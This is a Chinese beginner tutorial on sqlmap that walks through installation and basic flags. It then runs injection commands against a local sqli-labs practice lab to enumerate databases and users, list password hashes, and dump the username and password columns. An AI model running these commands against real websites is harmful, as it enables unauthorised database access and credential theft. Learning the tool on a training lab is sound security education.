SQLMAP入门

一、SqlMap介绍

• sqlmap是由Python编写语言编写的开源渗透测试工具，它主要用来检测sql注入漏洞，是一款功能强大的sql漏洞检测利用工具。
• 它能检测的数据库：Access、MSSQL、MySQL、Oracle、 postgresql、db2、sqlite。
• 可以进行 sql盲注、union查询、显错注入、延迟注入、post注入、 cookie注入等

二、SqlMap安装

链接：https://pan.baidu.com/s/1CVAFLiLbVaoEKmwSEQPgjg
提取码：vjx9
由于是Python编写语言编写的工具，所以需要Python环境，已提供Python2.7版本，安装即可

1.下载解压后将解压包放在Python安装目录下

2.在桌面右键，新建快捷方式

3.输入快捷方式的名称

4.复制Python27下sqlmap的路径，右键快捷方式——属性——修改起始位置

5.双击运行快捷方式，输入sqlmap.py -v 查看版本，界面如下即安装成功

三、SqlMap的基本操作

基本参数

--is-dba                    当前用户权限
--dbs           			所有数据库
--current-db				网站当前连接数据库
--users						所有数据库用户
--current-user				当前数据库用户
--tables					列表名
--columns					列字段
--dump						获取表中的数据，包含列
--level						测试等级（1-5），默认为1
-D							指定数据库
-T							指定表
-C  						指定列

1.打开sqli-labs的第一关，找到注入点

2.运行SqlMap，输入sqlmap.py -u “http://localhost/sqli-labs/Less-1/?id=1” 回车。

测出的信息提示存在
1.布尔盲注
2.显错注入
3.时间盲注
4.union查询
数据库是MySQL
系统为Windows
PHP，Apache，MySQL版本信息等。

3.查看当前用户权限

--is-dba

当前用户是管理员（当前权限很大）

4.查看所有数据库

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs

5.查看当前网站数据库

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db

6.查看当前网站连接用户

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-user

7.列出这些用户对应的密码

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --password

8.列出当前数据库有哪些表

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --tables -D security

–tables -D security：查看security数据库的表

9.指定某数据库某表的列名

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --columns -T users -D security

10.最后就是列出指定列的数据

sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dump -C password,username --columns -T users -D security

总结流程：读取数据库—>读取表—>读取表列—>读取内容

欢迎交流WX：YX_NiMing